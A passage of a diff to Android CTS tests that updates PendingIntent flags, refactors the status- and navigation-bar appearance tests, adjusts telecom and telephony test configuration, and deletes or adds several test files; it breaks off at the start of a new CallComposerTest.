+++ b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
@@ -41,7 +41,7 @@
final PendingIntent receiverIntent =
PendingIntent.getBroadcast(context, 0,
new Intent().setComponent(new ComponentName(context, InlineReply.class)),
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
final RemoteInput ri = new RemoteInput.Builder("result").setLabel("Remote input").build();
final Notification.Builder nb = new Builder(context)
diff --git a/tests/tests/slice/AndroidManifest.xml b/tests/tests/slice/AndroidManifest.xml
index 58d51d0..668ae0a 100644
--- a/tests/tests/slice/AndroidManifest.xml
+++ b/tests/tests/slice/AndroidManifest.xml
@@ -18,8 +18,6 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.slice.cts">
- <uses-permission android:name="android.permission.BIND_SLICE"/>
-
<application android:label="Android TestCase"
android:icon="@drawable/size_48x48"
android:maxRecents="1"
diff --git a/tests/tests/slice/AndroidTest.xml b/tests/tests/slice/AndroidTest.xml
index 5543f74..be91afc 100644
--- a/tests/tests/slice/AndroidTest.xml
+++ b/tests/tests/slice/AndroidTest.xml
@@ -24,10 +24,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSliceTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="pm grant android.slice.cts android.permission.BIND_SLICE" />
- <option name="teardown-command" value="pm revoke android.slice.cts android.permission.BIND_SLICE"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.slice.cts" />
<option name="runtime-hint" value="1m" />
diff --git a/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java b/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
index 89f3ac1..d6e6659 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
@@ -156,7 +156,8 @@
@Test
public void testActionSubtype() {
- PendingIntent i = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent i = PendingIntent.getActivity(mContext, 0, new Intent(),
+ PendingIntent.FLAG_IMMUTABLE);
Slice subSlice = new Slice.Builder(BASE_URI.buildUpon().appendPath("s").build(), SPEC)
.build();
Slice s = new Slice.Builder(BASE_URI, SPEC)
diff --git a/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java b/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
index 135c67a..faf6e8f 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
@@ -145,7 +145,8 @@
};
try {
Uri uri = BASE_URI.buildUpon().path("permission").build();
- PendingIntent intent = PendingIntent.getBroadcast(mContext, 0, new Intent(""), 0);
+ PendingIntent intent = PendingIntent.getBroadcast(mContext, 0, new Intent(""),
+ PendingIntent.FLAG_IMMUTABLE);
when(LocalSliceProvider.sProxy.onCreatePermissionRequest(any())).thenReturn(intent);
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProvider.java b/tests/tests/slice/src/android/slice/cts/SliceProvider.java
index 20ec2e5..2b1cc1c 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceProvider.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceProvider.java
@@ -90,7 +90,8 @@
Builder builder = new Builder(sliceUri, SPEC);
Slice subSlice = new Slice.Builder(builder).build();
PendingIntent broadcast = PendingIntent.getBroadcast(getContext(), 0,
- new Intent(getContext().getPackageName() + ".action"), 0);
+ new Intent(getContext().getPackageName() + ".action"),
+ PendingIntent.FLAG_IMMUTABLE);
return builder.addAction(broadcast, subSlice, "action").build();
case "/int":
return new Slice.Builder(sliceUri, SPEC).addInt(0xff121212, "int",
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
deleted file mode 100644
index b6b2f4c..0000000
--- a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.slice.cts;
-
-import android.content.pm.PackageManager;
-import androidx.test.InstrumentationRegistry;
-import android.content.Context;
-import android.app.slice.Slice;
-import android.app.slice.SliceSpec;
-import android.content.ContentResolver;
-import android.net.Uri;
-import android.os.Bundle;
-
-import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.google.android.collect.Lists;
-
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import static org.junit.Assume.assumeFalse;
-
-@RunWith(AndroidJUnit4.class)
-public class SliceProviderTest {
-
- private static final String VALID_AUTHORITY = "android.slice.cts";
- private static final String SUSPICIOUS_AUTHORITY = "com.suspicious.www";
- private static final String ACTION_BLUETOOTH = "/action/bluetooth";
- private static final String VALID_BASE_URI_STRING = "content://" + VALID_AUTHORITY;
- private static final String VALID_ACTION_URI_STRING =
- "content://" + VALID_AUTHORITY + ACTION_BLUETOOTH;
- private static final String SHADY_ACTION_URI_STRING =
- "content://" + SUSPICIOUS_AUTHORITY + ACTION_BLUETOOTH;
- private final Context mContext = InstrumentationRegistry.getContext();
- private boolean isSliceDisabled = mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_SLICES_DISABLED);
-
- @Rule
- public ActivityTestRule<Launcher> mLauncherActivityTestRule = new ActivityTestRule<>(Launcher.class);
-
- private Uri validBaseUri = Uri.parse(VALID_BASE_URI_STRING);
- private Uri validActionUri = Uri.parse(VALID_ACTION_URI_STRING);
- private Uri shadyActionUri = Uri.parse(SHADY_ACTION_URI_STRING);
-
- private ContentResolver mContentResolver;
-
- @Before
- public void setUp() {
- mContentResolver = mLauncherActivityTestRule.getActivity().getContentResolver();
- }
-
- @Test
- public void testCallSliceUri_ValidAuthority() {
- assumeFalse(isSliceDisabled);
- doQuery(validActionUri);
- }
-
- @Test(expected = SecurityException.class)
- public void testCallSliceUri_ShadyAuthority() {
- assumeFalse(isSliceDisabled);
- doQuery(shadyActionUri);
- }
-
- private Slice doQuery(Uri actionUri) {
- Bundle extras = new Bundle();
- extras.putParcelable("slice_uri", actionUri);
- extras.putParcelableArrayList("supported_specs", Lists.newArrayList(
- new SliceSpec("androidx.slice.LIST", 1),
- new SliceSpec("androidx.app.slice.BASIC", 1),
- new SliceSpec("androidx.slice.BASIC", 1),
- new SliceSpec("androidx.app.slice.LIST", 1)
- ));
- Bundle result = mContentResolver.call(
- validBaseUri,
- SliceProvider.METHOD_SLICE,
- null,
- extras
- );
- return result.getParcelable(SliceProvider.EXTRA_SLICE);
- }
-
-}
diff --git a/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java b/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
index ec3e406..0aa79ec 100644
--- a/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
+++ b/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
@@ -57,7 +57,6 @@
import org.junit.After;
import org.junit.Before;
-import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.Description;
@@ -204,7 +203,6 @@
}
@Test
- @Ignore("Can be enabled only after b/173053792 is fixed")
public void testSoftErrorRetriesActiveApp() throws Exception {
removeAllAccounts();
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
index a826575..663cc70 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
@@ -15,7 +15,11 @@
*/
package android.systemui.cts;
+import static android.view.WindowInsetsController.APPEARANCE_LIGHT_NAVIGATION_BARS;
+import static android.view.WindowInsetsController.APPEARANCE_LIGHT_STATUS_BARS;
+
import android.view.View;
+import android.view.WindowInsetsController;
/**
* An activity that exercises SYSTEM_UI_FLAG_LIGHT_STATUS_BAR and
@@ -23,15 +27,15 @@
*/
public class LightBarActivity extends LightBarBaseActivity {
- public void setLightStatusBar(boolean lightStatusBar) {
- setLightBar(lightStatusBar, View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
+ public void setLightStatusBarLegacy(boolean lightStatusBar) {
+ setLightBarLegacy(lightStatusBar, View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
}
- public void setLightNavigationBar(boolean lightNavigationBar) {
- setLightBar(lightNavigationBar, View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR);
+ public void setLightNavigationBarLegacy(boolean lightNavigationBar) {
+ setLightBarLegacy(lightNavigationBar, View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR);
}
- private void setLightBar(boolean light, int systemUiFlag) {
+ private void setLightBarLegacy(boolean light, int systemUiFlag) {
int vis = getWindow().getDecorView().getSystemUiVisibility();
if (light) {
vis |= systemUiFlag;
@@ -40,4 +44,24 @@
}
getWindow().getDecorView().setSystemUiVisibility(vis);
}
+
+ public void setLightStatusBarAppearance(boolean lightStatusBar) {
+ setLightBarAppearance(lightStatusBar, APPEARANCE_LIGHT_STATUS_BARS);
+ }
+
+ public void setLightNavigationBarAppearance(boolean lightNavigationBar) {
+ setLightBarAppearance(lightNavigationBar, APPEARANCE_LIGHT_NAVIGATION_BARS);
+ }
+
+ private void setLightBarAppearance(boolean light, int appearanceFlag) {
+ final WindowInsetsController controller =
+ getWindow().getDecorView().getWindowInsetsController();
+ int appearance = controller.getSystemBarsAppearance();
+ if (light) {
+ appearance |= appearanceFlag;
+ } else {
+ appearance &= ~appearanceFlag;
+ }
+ controller.setSystemBarsAppearance(appearance, appearanceFlag);
+ }
}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index dc414ef..8fbd429 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -38,6 +38,8 @@
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.ThrowingRunnable;
+
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TestName;
@@ -82,32 +84,68 @@
public void testLightStatusBarIcons() throws Throwable {
assumeHasColoredStatusBar(mActivityRule);
- mNm = (NotificationManager) getInstrumentation().getContext()
- .getSystemService(Context.NOTIFICATION_SERVICE);
- NotificationChannel channel1 = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
- NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
- mNm.createNotificationChannel(channel1);
+ runInNotificationSession(() -> {
+ requestLightBars(LIGHT_BG_COLOR);
+ Thread.sleep(WAIT_TIME);
- // post 10 notifications to ensure enough icons in the status bar
- for (int i = 0; i < 10; i++) {
- Notification.Builder noti1 = new Notification.Builder(getInstrumentation().getContext(),
- NOTIFICATION_CHANNEL_ID)
- .setSmallIcon(R.drawable.ic_save)
- .setChannelId(NOTIFICATION_CHANNEL_ID)
- .setPriority(Notification.PRIORITY_LOW)
- .setGroup(NOTIFICATION_GROUP_KEY);
- mNm.notify(NOTIFICATION_TAG, i, noti1.build());
- }
+ Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
+ Stats s = evaluateLightBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
+ assertStats(bitmap, s, true /* light */);
+ });
+ }
- requestLightBars(LIGHT_BG_COLOR);
- Thread.sleep(WAIT_TIME);
+ @Test
+ @AppModeFull // Instant apps cannot create notifications
+ public void testAppearanceCanOverwriteLegacyFlags() throws Throwable {
+ assumeHasColoredStatusBar(mActivityRule);
- Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
- Stats s = evaluateLightBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
- assertLightStats(bitmap, s);
+ runInNotificationSession(() -> {
+ final LightBarActivity activity = mActivityRule.getActivity();
+ activity.runOnUiThread(() -> {
+ activity.getWindow().setStatusBarColor(LIGHT_BG_COLOR);
+ activity.getWindow().setNavigationBarColor(LIGHT_BG_COLOR);
- mNm.cancelAll();
- mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+ activity.setLightStatusBarLegacy(true);
+ activity.setLightNavigationBarLegacy(true);
+
+ // The new appearance APIs can overwrite the appearance specified by the legacy
+ // flags.
+ activity.setLightStatusBarAppearance(false);
+ activity.setLightNavigationBarAppearance(false);
+ });
+ Thread.sleep(WAIT_TIME);
+
+ Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
+ Stats s = evaluateDarkBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
+ assertStats(bitmap, s, false /* light */);
+ });
+ }
+
+ @Test
+ @AppModeFull // Instant apps cannot create notifications
+ public void testLegacyFlagsCannotOverwriteAppearance() throws Throwable {
+ assumeHasColoredStatusBar(mActivityRule);
+
+ runInNotificationSession(() -> {
+ final LightBarActivity activity = mActivityRule.getActivity();
+ activity.runOnUiThread(() -> {
+ activity.getWindow().setStatusBarColor(LIGHT_BG_COLOR);
+ activity.getWindow().setNavigationBarColor(LIGHT_BG_COLOR);
+
+ activity.setLightStatusBarAppearance(false);
+ activity.setLightNavigationBarAppearance(false);
+
+ // Once the client starts using the new appearance APIs, the legacy flags won't
+ // change the appearance anymore.
+ activity.setLightStatusBarLegacy(true);
+ activity.setLightNavigationBarLegacy(true);
+ });
+ Thread.sleep(WAIT_TIME);
+
+ Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
+ Stats s = evaluateDarkBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
+ assertStats(bitmap, s, false /* light */);
+ });
}
@Test
@@ -126,7 +164,7 @@
LightBarActivity activity = mActivityRule.getActivity();
Bitmap bitmap = takeNavigationBarScreenshot(activity);
Stats s = evaluateLightBarBitmap(bitmap, LIGHT_BG_COLOR, activity.getBottom());
- assertLightStats(bitmap, s);
+ assertStats(bitmap, s, true /* light */);
}
@Test
@@ -143,6 +181,33 @@
mTestName.getMethodName());
}
+ private void runInNotificationSession(ThrowingRunnable task) throws Exception {
+ try {
+ mNm = (NotificationManager) getInstrumentation().getContext()
+ .getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channel1 = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+ NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
+ mNm.createNotificationChannel(channel1);
+
+ // post 10 notifications to ensure enough icons in the status bar
+ for (int i = 0; i < 10; i++) {
+ Notification.Builder noti1 = new Notification.Builder(
+ getInstrumentation().getContext(),
+ NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.ic_save)
+ .setChannelId(NOTIFICATION_CHANNEL_ID)
+ .setPriority(Notification.PRIORITY_LOW)
+ .setGroup(NOTIFICATION_GROUP_KEY);
+ mNm.notify(NOTIFICATION_TAG, i, noti1.build());
+ }
+
+ task.run();
+ } finally {
+ mNm.cancelAll();
+ mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+ }
+ }
+
private void injectCanceledTap(int x, int y) {
long downTime = SystemClock.uptimeMillis();
injectEvent(MotionEvent.ACTION_DOWN, x, y, downTime);
@@ -158,19 +223,22 @@
event.recycle();
}
- private void assertLightStats(Bitmap bitmap, Stats s) {
+ private void assertStats(Bitmap bitmap, Stats s, boolean light) {
boolean success = false;
try {
assumeNavigationBarChangesColor(s.backgroundPixels, s.totalPixels());
+ final String spec = light ? "60% black and 24% black" : "100% white and 30% white";
assertMoreThan("Not enough pixels colored as in the spec", 0.3f,
(float) s.iconPixels / (float) s.foregroundPixels(),
- "Are the bar icons colored according to the spec "
- + "(60% black and 24% black)?");
+ "Are the bar icons colored according to the spec (" + spec + ")?");
- assertLessThan("Too many lighter pixels lighter than the background", 0.05f,
- (float) s.sameHueLightPixels / (float) s.foregroundPixels(),
- "Are the bar icons dark?");
+ final String unexpected = light ? "lighter" : "darker";
+ final String expected = light ? "dark" : "light";
+ final int sameHuePixels = light ? s.sameHueLightPixels : s.sameHueDarkPixels;
+ assertLessThan("Too many pixels " + unexpected + " than the background", 0.05f,
+ (float) sameHuePixels / (float) s.foregroundPixels(),
+ "Are the bar icons " + expected + "?");
assertLessThan("Too many pixels with a changed hue", 0.05f,
(float) s.unexpectedHuePixels / (float) s.foregroundPixels(),
@@ -184,13 +252,13 @@
}
}
- private void requestLightBars(final int background) throws Throwable {
+ private void requestLightBars(final int background) {
final LightBarActivity activity = mActivityRule.getActivity();
activity.runOnUiThread(() -> {
activity.getWindow().setStatusBarColor(background);
activity.getWindow().setNavigationBarColor(background);
- activity.setLightStatusBar(true);
- activity.setLightNavigationBar(true);
+ activity.setLightStatusBarLegacy(true);
+ activity.setLightNavigationBarLegacy(true);
});
}
@@ -220,8 +288,15 @@
}
private Stats evaluateLightBarBitmap(Bitmap bitmap, int background, int shiftY) {
- int iconColor = 0x99000000;
- int iconPartialColor = 0x3d000000;
+ return evaluateBarBitmap(bitmap, background, shiftY, 0x99000000, 0x3d000000);
+ }
+
+ private Stats evaluateDarkBarBitmap(Bitmap bitmap, int background, int shiftY) {
+ return evaluateBarBitmap(bitmap, background, shiftY, 0xffffffff, 0x4dffffff);
+ }
+
+ private Stats evaluateBarBitmap(Bitmap bitmap, int background, int shiftY, int iconColor,
+ int iconPartialColor) {
int mixedIconColor = mixSrcOver(background, iconColor);
int mixedIconPartialColor = mixSrcOver(background, iconPartialColor);
diff --git a/tests/tests/telecom/AndroidTest.xml b/tests/tests/telecom/AndroidTest.xml
index f686867..7a3ae56 100644
--- a/tests/tests/telecom/AndroidTest.xml
+++ b/tests/tests/telecom/AndroidTest.xml
@@ -30,10 +30,13 @@
<option name="test-file-name" value="CarModeTestApp.apk" />
<option name="test-file-name" value="CarModeTestAppTwo.apk" />
</target_preparer>
+
+ <!-- Enabling change id ALLOW_TEST_API_ACCESS allows that package to access @TestApi methods -->
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <!-- Disable hidden API checking, see b/166236554 -->
- <option name="run-command" value="settings put global hidden_api_policy 1" />
- <option name="teardown-command" value="settings delete global hidden_api_policy" />
+ <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.telecom.cts" />
+ <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.telecom.cts.api29incallservice" />
+ <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.telecom.cts" />
+ <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.telecom.cts.api29incallservice" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.telecom.cts" />
diff --git a/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
index ab1115e..1922df6 100644
--- a/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
@@ -28,7 +28,8 @@
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE"/>
- <application android:label="Api29CTSInCallService">
+ <application android:label="Api29CTSInCallService"
+ android:debuggable="true">
<service android:name=".CtsApi29InCallService"
android:permission="android.permission.BIND_INCALL_SERVICE"
android:launchMode="singleInstance"
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
index 1f89db5..b8eb8bf 100644
--- a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
+++ b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
@@ -46,7 +46,7 @@
"android.telephony.cts.smsretriever",
"android.telephony.cts.smsretriever.SmsRetrieverBroadcastReceiver"));
PendingIntent pIntent = PendingIntent.getBroadcast(
- getApplicationContext(), 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
+ getApplicationContext(), 0, intent, PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
String token = null;
try {
token = SmsManager.getDefault().createAppSpecificSmsTokenWithPackageInfo(
diff --git a/tests/tests/telephony/current/Android.bp b/tests/tests/telephony/current/Android.bp
index 8bd31d9..aa02099 100644
--- a/tests/tests/telephony/current/Android.bp
+++ b/tests/tests/telephony/current/Android.bp
@@ -20,10 +20,13 @@
"src/android/telephony/ims/cts/TestMmTelFeature.java",
"src/android/telephony/ims/cts/TestImsSmsImpl.java",
"src/android/telephony/ims/cts/TestImsConfig.java",
+ "src/android/telephony/ims/cts/TestImsRegistration.java",
+ "src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java",
"src/android/telephony/ims/cts/TestSipTransport.java",
"src/android/telephony/ims/cts/TestSipDelegate.java",
"src/android/telephony/ims/cts/TestSipDelegateConnection.java",
"src/android/telephony/ims/cts/ImsUtils.java",
+ "src/android/telephony/ims/cts/TestAcsClient.java",
],
path: "src/",
}
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
index 1067197..4cf2658 100644
--- a/tests/tests/telephony/current/AndroidManifest.xml
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -23,6 +23,7 @@
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+ <uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.READ_ACTIVE_EMERGENCY_SESSION"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
@@ -36,6 +37,7 @@
<uses-permission android:name="android.permission.USE_SIP"/>
<uses-permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"/>
<uses-permission android:name="android.permission.WRITE_EMBEDDED_SUBSCRIPTIONS" />
+ <uses-permission android:name="android.permission.USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER" />
<permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"
android:protectionLevel="signature"/>
@@ -161,6 +163,16 @@
</intent-filter>
</service>
+ <service
+ android:name="android.telephony.gba.cts.TestGbaService"
+ android:directBootAware="true"
+ android:permission="android.permission.BIND_GBA_SERVICE"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.telephony.gba.GbaService"/>
+ </intent-filter>
+ </service>
+
<activity android:name="android.telephony.cts.StubDialerActvity"
android:exported="true">
<intent-filter>
diff --git a/tests/tests/telephony/current/res/drawable/cupcake.png b/tests/tests/telephony/current/res/drawable/cupcake.png
new file mode 100644
index 0000000..dcc74e5
--- /dev/null
+++ b/tests/tests/telephony/current/res/drawable/cupcake.png
Binary files differ
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ApnThrottleStatusTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ApnThrottleStatusTest.java
deleted file mode 100644
index 717ea54..0000000
--- a/tests/tests/telephony/current/src/android/telephony/cts/ApnThrottleStatusTest.java
+++ /dev/null
@@ -1,114 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotEquals;
-
-import android.os.Parcel;
-import android.telephony.AccessNetworkConstants;
-import android.telephony.data.ApnSetting;
-import android.telephony.data.ApnThrottleStatus;
-
-import org.junit.Test;
-
-public class ApnThrottleStatusTest {
-
- private static final int SLOT_INDEX = 10;
- private static final int TRANSPORT_TYPE = AccessNetworkConstants.TRANSPORT_TYPE_WWAN;
- private static final int APN_TYPE = ApnSetting.TYPE_IMS;
- private static final int THROTTLE_TYPE = ApnThrottleStatus.THROTTLE_TYPE_ELAPSED_TIME;
- private static final long THROTTLE_EXPIRY_TIME_MILLIS = 5005;
- private static final int RETRY_TYPE = ApnThrottleStatus.RETRY_TYPE_NEW_CONNECTION;
-
- @Test
- public void testBuilderAndGetters() {
-
- ApnThrottleStatus status = new ApnThrottleStatus.Builder()
- .setSlotIndex(SLOT_INDEX)
- .setTransportType(TRANSPORT_TYPE)
- .setApnType(APN_TYPE)
- .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
- .setRetryType(RETRY_TYPE)
- .build();
-
- assertEquals(SLOT_INDEX, status.getSlotIndex());
- assertEquals(TRANSPORT_TYPE, status.getTransportType());
- assertEquals(APN_TYPE, status.getApnType());
- assertEquals(THROTTLE_TYPE, status.getThrottleType());
- assertEquals(THROTTLE_EXPIRY_TIME_MILLIS, status.getThrottleExpiryTimeMillis());
- assertEquals(RETRY_TYPE, status.getRetryType());
- }
-
- @Test
- public void testEquals() {
-
- ApnThrottleStatus status1 = new ApnThrottleStatus.Builder()
- .setSlotIndex(SLOT_INDEX)
- .setTransportType(TRANSPORT_TYPE)
- .setApnType(APN_TYPE)
- .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
- .setRetryType(RETRY_TYPE)
- .build();
- ApnThrottleStatus status2 = new ApnThrottleStatus.Builder()
- .setSlotIndex(SLOT_INDEX)
- .setTransportType(TRANSPORT_TYPE)
- .setApnType(APN_TYPE)
- .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
- .setRetryType(RETRY_TYPE)
- .build();
-
- assertEquals(status1, status2);
- }
-
- @Test
- public void testNotEquals() {
- ApnThrottleStatus status1 = new ApnThrottleStatus.Builder()
- .setSlotIndex(SLOT_INDEX)
- .setTransportType(TRANSPORT_TYPE)
- .setApnType(APN_TYPE)
- .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
- .setRetryType(RETRY_TYPE)
- .build();
- ApnThrottleStatus status2 = new ApnThrottleStatus.Builder()
- .setSlotIndex(SLOT_INDEX)
- .setTransportType(TRANSPORT_TYPE)
- .setApnType(APN_TYPE)
- .setNoThrottle()
- .setRetryType(RETRY_TYPE)
- .build();
- assertNotEquals(status1, status2);
- }
-
- @Test
- public void testParcel() {
- ApnThrottleStatus status = new ApnThrottleStatus.Builder()
- .setSlotIndex(SLOT_INDEX)
- .setTransportType(TRANSPORT_TYPE)
- .setApnType(APN_TYPE)
- .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
- .setRetryType(RETRY_TYPE)
- .build();
-
- Parcel stateParcel = Parcel.obtain();
- status.writeToParcel(stateParcel, 0);
- stateParcel.setDataPosition(0);
-
- ApnThrottleStatus postParcel = ApnThrottleStatus.CREATOR.createFromParcel(stateParcel);
- assertEquals(status, postParcel);
- }
-}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java
new file mode 100644
index 0000000..53d91ff
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java
@@ -0,0 +1,209 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.os.OutcomeReceiver;
+import android.os.ParcelUuid;
+import android.os.UserHandle;
+import android.telephony.TelephonyManager;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.StandardOpenOption;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class CallComposerTest {
+ private static final String TEST_FILE_NAME = "red_velvet_cupcake.png";
+ private static final String TEST_FILE_CONTENT_TYPE = "image/png";
